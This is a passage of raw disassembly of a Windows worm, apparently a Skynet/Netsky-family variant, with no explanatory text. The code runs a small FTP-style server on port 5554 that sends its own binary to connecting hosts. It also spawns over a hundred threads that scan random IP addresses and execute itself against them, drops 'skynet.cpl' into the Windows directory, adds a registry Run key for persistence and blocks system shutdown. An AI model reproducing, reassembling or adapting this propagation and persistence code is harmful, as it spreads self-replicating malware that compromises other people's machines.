		pop	ecx


loc_401B05:				; CODE XREF: sub_401A84+1Fj
		pop	esi
		leave
		retn
sub_401A84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B08	proc near		; DATA XREF: sub_401E65+74o

var_8E4		= byte ptr -8E4h
Str		= byte ptr -4E4h
Source		= byte ptr -4E0h
Dest		= byte ptr -0E4h
var_60		= byte ptr -60h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Dst		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
Delim		= byte ptr -4
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8E4h
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 0FFFFFFFFh
		jz	loc_401E29
		push	esi
		push	edi
		push	0
		push	off_4088D0	; Str
		call	_strlen
		mov	esi, dword_40712C
		pop	ecx
		push	eax
		push	off_4088D0
		push	ebx
		call	esi	; send
		mov	edi, [ebp+arg_0]
		jmp	short loc_401B46
; ---------------------------------------------------------------------------


loc_401B43:				; CODE XREF: sub_401B08+310j
		mov	ebx, [ebp+arg_0]


loc_401B46:				; CODE XREF: sub_401B08+39j
		push	0
		lea	eax, [ebp+Str]
		push	400h
		push	eax
		push	ebx
		call	dword_407128	; recv
		and	[ebp+eax+Str], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+Str]
		push	offset aUser	; "USER"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401B97
		push	0
		push	off_4088D4	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	off_4088D4
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401B97:				; CODE XREF: sub_401B08+73j
		lea	eax, [ebp+Str]
		push	offset aPass	; "PASS"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401BC8
		push	0
		push	off_4088D8	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	off_4088D8
		jmp	loc_401E11
; ---------------------------------------------------------------------------


loc_401BC8:				; CODE XREF: sub_401B08+A4j
		lea	eax, [ebp+Str]
		push	offset aPort	; "PORT"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401CA4
		lea	eax, [ebp+Source]
		push	eax		; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcpy
		mov	ax, word_408A60
		mov	word ptr [ebp+Delim], ax
		lea	eax, [ebp+Delim]
		push	eax		; Delim
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strtok
		add	esp, 10h
		mov	ebx, eax
		xor	edi, edi


loc_401C17:				; CODE XREF: sub_401B08+159j
		test	ebx, ebx
		jz	short loc_401C4B
		cmp	edi, 4
		jge	short loc_401C2E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+edi*4+var_38], eax
		cmp	edi, 4


loc_401C2E:				; CODE XREF: sub_401B08+116j
		jnz	short loc_401C3A
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_18], eax


loc_401C3A:				; CODE XREF: sub_401B08:loc_401C2Ej
		cmp	edi, 5
		jnz	short loc_401C4E
		push	ebx
		call	sub_401E30
		pop	ecx
		mov	[ebp+var_14], eax
		jmp	short loc_401C4E
; ---------------------------------------------------------------------------


loc_401C4B:				; CODE XREF: sub_401B08+111j
		push	6
		pop	edi


loc_401C4E:				; CODE XREF: sub_401B08+135j
					; sub_401B08+141j
		lea	eax, [ebp+Delim]
		push	eax		; Delim
		push	0		; Str
		call	_strtok
		inc	edi
		pop	ecx
		cmp	edi, 6
		pop	ecx
		mov	ebx, eax
		jl	short loc_401C17
		push	[ebp+var_2C]
		mov	edi, [ebp+var_18]
		lea	eax, [ebp+var_60]
		push	[ebp+var_30]
		shl	edi, 8
		push	[ebp+var_34]
		add	edi, [ebp+var_14]
		push	[ebp+var_38]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	dword_407118	; wsprintfA
		add	esp, 18h
		push	0
		push	off_4088E0	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	off_4088E0
		jmp	loc_401DD7
; ---------------------------------------------------------------------------


loc_401CA4:				; CODE XREF: sub_401B08+D5j
		lea	eax, [ebp+Str]
		push	offset aRetr	; "RETR"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401DDC
		push	0
		push	off_4088E4	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	off_4088E4
		push	ebx
		call	esi	; send
		lea	eax, [ebp+var_60]
		push	eax
		call	sub_4011D5
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_401DB9
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		mov	[ebp+Dst], 2
		push	edi
		call	dword_407130	; ntohs
		push	0
		push	1
		push	2
		mov	[ebp+var_26], ax
		mov	[ebp+var_24], ebx
		call	dword_407134	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+var_C], ebx
		jz	loc_401DB9
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	dword_407138	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401D44
		push	ebx
		call	dword_40713C	; closesocket
		jmp	short loc_401DB9
; ---------------------------------------------------------------------------


loc_401D44:				; CODE XREF: sub_401B08+231j
		lea	eax, [ebp+var_8E4]
		push	400h
		push	eax
		push	0
		call	dword_407034	; GetModuleFileNameA
		lea	eax, [ebp+var_8E4]
		push	0
		push	eax
		call	dword_407030	; _lopen
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jz	short loc_401DB9
		lea	eax, [ebp+var_2]
		push	offset Source	; Source
		push	eax		; Dest
		call	_strcpy
		mov	ebx, dword_40702C
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]


loc_401D8E:				; CODE XREF: sub_401B08+2A6j
		call	ebx	; _lread
		cmp	eax, 1
		jnz	short loc_401DB0
		and	[ebp+var_1], 0
		push	0
		push	eax
		lea	eax, [ebp+var_2]
		push	eax
		push	[ebp+var_C]
		call	esi	; send
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	[ebp+var_8]
		jmp	short loc_401D8E
; ---------------------------------------------------------------------------


loc_401DB0:				; CODE XREF: sub_401B08+28Bj
		push	[ebp+var_8]
		call	dword_40701C	; _lclose


loc_401DB9:				; CODE XREF: sub_401B08+1DDj
					; sub_401B08+21Bj ...
		push	[ebp+var_C]
		call	dword_40713C	; closesocket
		push	0
		push	off_4088DC	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	off_4088DC


loc_401DD7:				; CODE XREF: sub_401B08+197j
		push	[ebp+arg_0]
		jmp	short loc_401E12
; ---------------------------------------------------------------------------


loc_401DDC:				; CODE XREF: sub_401B08+1B1j
		lea	eax, [ebp+Str]
		push	offset aQuit	; "QUIT"
		push	eax		; Str
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401DFC
		push	ebx
		call	dword_40713C	; closesocket
		jmp	short loc_401E14
; ---------------------------------------------------------------------------


loc_401DFC:				; CODE XREF: sub_401B08+2E9j
		push	0
		push	off_4088DC	; Str
		call	_strlen
		pop	ecx
		push	eax
		push	off_4088DC


loc_401E11:				; CODE XREF: sub_401B08+8Aj
					; sub_401B08+BBj
		push	ebx


loc_401E12:				; CODE XREF: sub_401B08+2D2j
		call	esi	; send


loc_401E14:				; CODE XREF: sub_401B08+2F2j
		cmp	[ebp+var_10], 0
		jg	loc_401B43
		push	[ebp+arg_0]
		call	dword_40713C	; closesocket
		pop	edi
		pop	esi


loc_401E29:				; CODE XREF: sub_401B08+10j
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_401B08	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E30	proc near		; CODE XREF: sub_401B08+119p
					; sub_401B08+129p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi


loc_401E38:				; CODE XREF: sub_401E30+13j
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_401E42
		cmp	al, 9
		jnz	short loc_401E45


loc_401E42:				; CODE XREF: sub_401E30+Cj
		inc	esi
		jmp	short loc_401E38
; ---------------------------------------------------------------------------


loc_401E45:				; CODE XREF: sub_401E30+10j
					; sub_401E30+2Ej
		movsx	eax, byte ptr [esi]
		push	eax		; C
		call	_isalnum
		test	eax, eax
		pop	ecx
		jz	short loc_401E60
		movsx	ecx, byte ptr [esi]
		lea	eax, [edi+edi*4]
		inc	esi
		lea	edi, [ecx+eax*2-30h]
		jmp	short loc_401E45
; ---------------------------------------------------------------------------


loc_401E60:				; CODE XREF: sub_401E30+21j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_401E30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401E65	proc near		; DATA XREF: WinMain(x,x,x,x)+7Ao

var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	1
		push	2
		call	dword_407134	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_401E89


loc_401E81:				; CODE XREF: sub_401E65+63j
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401E89:				; CODE XREF: sub_401E65+1Aj
		push	15B2h
		mov	[ebp+var_14], 2
		call	dword_407130	; ntohs
		mov	[ebp+var_12], ax
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_10], esi
		call	dword_407154	; bind
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401EC1
		push	5
		push	edi
		call	dword_407120	; listen
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401ECA


loc_401EC1:				; CODE XREF: sub_401E65+4Cj
		push	edi
		call	dword_40713C	; closesocket
		jmp	short loc_401E81
; ---------------------------------------------------------------------------


loc_401ECA:				; CODE XREF: sub_401E65+5Aj
					; sub_401E65+89j
		push	esi
		push	esi
		push	edi
		call	dword_407124	; accept
		lea	ecx, [ebp+var_4]
		push	ecx
		push	esi
		push	eax
		push	offset sub_401B08
		push	esi
		push	esi
		call	dword_407038	; CreateThread
		push	19h
		call	dword_407028	; Sleep
		jmp	short loc_401ECA
sub_401E65	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401EF0	proc near		; DATA XREF: WinMain(x,x,x,x)+8Co

Source		= byte ptr -454h
var_438		= byte ptr -438h
Dest		= byte ptr -400h

		sub	esp, 454h
		push	ebx
		push	ebp
		mov	ebp, dword_407118
		push	esi
		push	edi
		mov	esi, 0FFh


loc_401F05:				; CODE XREF: sub_401EF0+134j
		lea	eax, [esp+464h+var_438]
		push	eax
		call	sub_4010D2
		pop	ecx
		lea	eax, [esp+464h+var_438]
		push	eax
		call	dword_407148	; inet_addr
		movsx	edi, al
		test	edi, edi
		movsx	ebx, ah
		jge	short loc_401F2B
		add	edi, 100h


loc_401F2B:				; CODE XREF: sub_401EF0+33j
		test	ebx, ebx
		jge	short loc_401F35
		add	ebx, 100h


loc_401F35:				; CODE XREF: sub_401EF0+3Dj
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F92
		call	sub_401000
		push	1Fh
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 0Fh
		jle	short loc_401F78
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		jmp	short loc_401F8F
; ---------------------------------------------------------------------------


loc_401F78:				; CODE XREF: sub_401EF0+63j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		push	ebx


loc_401F8F:				; CODE XREF: sub_401EF0+86j
		push	edi
		jmp	short loc_401FBE
; ---------------------------------------------------------------------------


loc_401F92:				; CODE XREF: sub_401EF0+53j
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx
		call	sub_401000
		cdq
		mov	ecx, esi
		idiv	ecx
		push	edx


loc_401FBE:				; CODE XREF: sub_401EF0+A0j
		lea	eax, [esp+474h+Source]
		push	offset aI_I_I_I	; "%i.%i.%i.%i"
		push	eax
		call	ebp	; wsprintfA
		add	esp, 18h
		lea	eax, [esp+464h+Source]
		push	eax
		call	sub_401153
		cmp	al, 1
		pop	ecx
		jnz	short loc_40201C
		lea	eax, [esp+464h+Dest]
		push	400h
		push	eax
		push	0
		call	dword_407034	; GetModuleFileNameA
		lea	eax, [esp+464h+Dest]
		push	offset asc_408A7C ; " "
		push	eax		; Dest
		call	_strcat
		lea	eax, [esp+46Ch+Source]
		push	eax		; Source
		lea	eax, [esp+470h+Dest]
		push	eax		; Dest
		call	_strcat
		add	esp, 10h
		lea	eax, [esp+464h+Dest]
		push	0
		push	eax
		call	dword_40703C	; WinExec


loc_40201C:				; CODE XREF: sub_401EF0+EAj
		push	19h
		call	dword_407028	; Sleep
		jmp	loc_401F05
sub_401EF0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402029	proc near		; CODE XREF: sub_4020B8+4Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		mov	[ebp+var_4], esi
		call	dword_40705C	; GetModuleHandleA
		mov	edi, eax
		push	offset aBinary	; "BINARY"
		movzx	eax, word ptr [ebp+arg_0]
		push	eax
		push	edi
		call	dword_407058	; FindResourceA
		mov	ebx, eax
		push	ebx
		push	edi
		call	dword_407054	; LoadResource
		push	eax
		call	dword_407050	; SetHandleCount
		cmp	eax, esi
		mov	[ebp+arg_0], eax
		jz	short loc_402090
		push	ebx
		push	edi
		call	dword_40704C	; SizeofResource
		push	esi
		push	80h
		push	2
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_4]
		mov	edi, eax
		call	dword_407048	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_402094


loc_402090:				; CODE XREF: sub_402029+3Cj
		xor	eax, eax
		jmp	short loc_4020B3
; ---------------------------------------------------------------------------


loc_402094:				; CODE XREF: sub_402029+65j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	edi
		push	[ebp+arg_0]
		push	ebx
		call	dword_407044	; WriteFile
		push	ebx
		call	dword_407040	; CloseHandle
		xor	eax, eax
		cmp	[ebp+var_4], edi
		setz	al


loc_4020B3:				; CODE XREF: sub_402029+69j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4020B8	proc near		; CODE XREF: WinMain(x,x,x,x):loc_402161p

var_420		= byte ptr -420h
var_2		= byte ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	esi
		lea	eax, [ebp+var_420]
		push	400h
		push	eax
		call	dword_4070BC	; GetWindowsDirectoryA
		cmp	[ebp+var_2], 5Ch
		mov	esi, dword_407060
		jz	short loc_4020EE
		lea	eax, [ebp+var_420]
		push	offset asc_408A94 ; "\\"
		push	eax
		call	esi	; lstrcatA


loc_4020EE:				; CODE XREF: sub_4020B8+26j
		lea	eax, [ebp+var_420]
		push	offset aSkynet_cpl ; "skynet.cpl"
		push	eax
		call	esi	; lstrcatA
		lea	eax, [ebp+var_420]
		push	eax
		push	67h
		call	sub_402029
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_40292E
		add	esp, 0Ch
		pop	esi
		leave
		retn
sub_4020B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int	nShowCmd)

_WinMain@16	proc near		; CODE XREF: start+C9p

var_14		= dword	ptr -14h
var_8		= byte ptr -8
var_4		= byte ptr -4
hInstance	= dword	ptr  8
hPrevInstance	= dword	ptr  0Ch
Str		= dword	ptr  10h
nShowCmd	= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		mov	edi, dword_407070
		xor	esi, esi
		push	offset aJobaka3	; "Jobaka3"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	dword_40706C	; GetTickCount
		push	eax
		call	sub_40101E
		call	sub_401028
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		test	eax, eax
		pop	ecx
		jbe	short loc_402161
		push	[ebp+Str]
		call	sub_401A84
		pop	ecx
		push	1
		pop	eax
		jmp	short loc_4021C9
; ---------------------------------------------------------------------------


loc_402161:				; CODE XREF: WinMain(x,x,x,x)+35j
		call	sub_4020B8
		push	1
		call	sub_4021CF
		mov	[esp+14h+var_14], offset aPinaasosky ; "PinaasoSky"
		push	esi
		push	esi
		call	edi	; CreateMutexA
		call	dword_407068	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_402189
		xor	eax, eax
		jmp	short loc_4021C9
; ---------------------------------------------------------------------------


loc_402189:				; CODE XREF: WinMain(x,x,x,x)+67j
		mov	edi, dword_407038
		lea	eax, [ebp+var_4]
		push	ebx
		push	eax
		push	esi
		push	esi
		push	offset sub_401E65
		push	esi
		push	esi
		call	edi	; CreateThread
		push	7Ch
		pop	ebx


loc_4021A2:				; CODE XREF: WinMain(x,x,x,x)+96j
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	esi
		push	offset sub_401EF0
		push	esi
		push	esi
		call	edi	; CreateThread
		dec	ebx
		jnz	short loc_4021A2
		push	esi
		call	dword_407008	; AbortSystemShutdownA
		push	5265C00h
		call	dword_407028	; Sleep
		xor	eax, eax
		pop	ebx


loc_4021C9:				; CODE XREF: WinMain(x,x,x,x)+43j
					; WinMain(x,x,x,x)+6Bj
		pop	edi
		pop	esi
		leave
		retn	10h
_WinMain@16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4021CF	proc near		; CODE XREF: WinMain(x,x,x,x)+4Cp

var_824		= byte ptr -824h
var_425		= byte ptr -425h
Dest		= byte ptr -424h
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 824h
		push	esi
		mov	esi, 400h
		lea	eax, [ebp+var_824]
		push	esi
		push	eax
		push	0
		call	dword_407034	; GetModuleFileNameA
		lea	eax, [ebp+Dest]
		push	esi
		push	eax
		call	dword_4070BC	; GetWindowsDirectoryA
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+eax+var_425], 5Ch
		pop	ecx
		pop	esi
		jz	short loc_402227
		lea	eax, [ebp+Dest]
		push	offset asc_408A94 ; "\\"
		push	eax		; Dest
		call	_strcat
		pop	ecx
		pop	ecx


loc_402227:				; CODE XREF: sub_4021CF+43j
		push	off_4088C8	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strcat
		cmp	[ebp+arg_0], 0
		pop	ecx
		pop	ecx
		jz	short loc_402257
		lea	eax, [ebp+Dest]
		push	0
		push	eax
		lea	eax, [ebp+var_824]
		push	eax
		call	dword_407074	; CopyFileA


loc_402257:				; CODE XREF: sub_4021CF+70j
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	dword_40700C	; RegOpenKeyA
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	1
		push	0
		push	off_4088C8
		push	[ebp+var_4]
		call	dword_407000	; RegSetValueExA
		push	[ebp+var_4]
		call	dword_407004	; RegCloseKey
		leave
		retn
sub_4021CF	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000058 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000335 BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr. PRESS KEYPAD "+"	TO EXPAND]
; [0000009C BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000000E0 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+"	TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION _isalnum.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40292E	proc near		; CODE XREF: sub_4020B8+59p

Str		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	offset VarName	; "COMSPEC"
		call	_getenv
		pop	ecx
		xor	esi, esi
		mov	ecx, [ebp+arg_0]
		mov	[ebp+Str], eax
		cmp	ecx, esi
		jnz	short loc_402964
		cmp	eax, esi
		jnz	short loc_402954
		xor	eax, eax
		jmp	short loc_4029C1
; ---------------------------------------------------------------------------


loc_402954:				; CODE XREF: sub_40292E+20j
		push	esi
		push	eax
		call	sub_403050
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4029C1
; ---------------------------------------------------------------------------


loc_402964:				; CODE XREF: sub_40292E+1Cj
		cmp	eax, esi
		mov	[ebp+var_C], offset dword_407174
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], esi
		jz	short loc_402999
		lea	ecx, [ebp+Str]
		push	esi		; int
		push	ecx		; int
		push	eax		; Str
		push	esi		; int
		call	__spawnve
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4029C1
		mov	ecx, dword_4090DC
		cmp	ecx, 2
		jz	short loc_402999
		cmp	ecx, 0Dh
		jnz	short loc_4029C1


loc_402999:				; CODE XREF: sub_40292E+45j
					; sub_40292E+64j
		test	byte ptr dword_4090E8+1, 80h
		mov	[ebp+Str], offset dword_407168
		jnz	short loc_4029B0
		mov	[ebp+Str], offset dword_407160


loc_4029B0:				; CODE XREF: sub_40292E+79j
		lea	eax, [ebp+Str]
		push	esi		; int
		push	eax		; int
		push	[ebp+Str]	; Str
		push	esi		; int
		call	__spawnvpe
		add	esp, 10h


loc_4029C1:				; CODE XREF: sub_40292E+24j
					; sub_40292E+34j ...
		pop	esi
		leave
		retn
sub_40292E	endp

; [000000D7 BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, [ebp-14h]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp-68h], ecx
		push	eax
		push	ecx
		call	__XcptFilter
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	__exit
; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD	"+" TO EXPAND]
		pop	ecx
		pop	ecx
		retn
; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000005 BYTES: COLLAPSED CHUNK OF FUNCTION _strchr.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000000BC BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+"	TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
; [00000163 BYTES: COLLAPSED FUNCTION __spawnvpe. PRESS	KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+"	TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS	KEYPAD "+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION __spawnve. PRESS KEYPAD "+" TO EXPAND]
; [00000051 BYTES: COLLAPSED FUNCTION _comexecmd. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_403050	proc near		; CODE XREF: sub_40292E+28p
					; __spawnve+8Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4070DC	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403070
		call	dword_407068	; RtlGetLastWin32Error
		push	eax
		call	__dosmaperr
		pop	ecx


loc_40306C:				; CODE XREF: sub_403050+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_403070:				; CODE XREF: sub_403050+Dj
		test	al, 1
		jz	short loc_403091
		test	[esp+arg_4], 2
		jz	short loc_403091
		mov	dword_4090DC, 0Dh
		mov	dword_4090E0, 5
		jmp	short loc_40306C
; ---------------------------------------------------------------------------


loc_403091:				; CODE XREF: sub_403050+22j
					; sub_403050+29j
		xor	eax, eax
		retn
sub_403050	endp

; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+"	TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD	"+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD	"+" TO EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_408DAC
		jmp	short loc_4039EC
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_2:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
; [00000060 BYTES: COLLAPSED FUNCTION __mbsrchr. PRESS KEYPAD "+" TO EXPAND]
; [00000074 BYTES: COLLAPSED FUNCTION __getpath. PRESS KEYPAD "+" TO EXPAND]
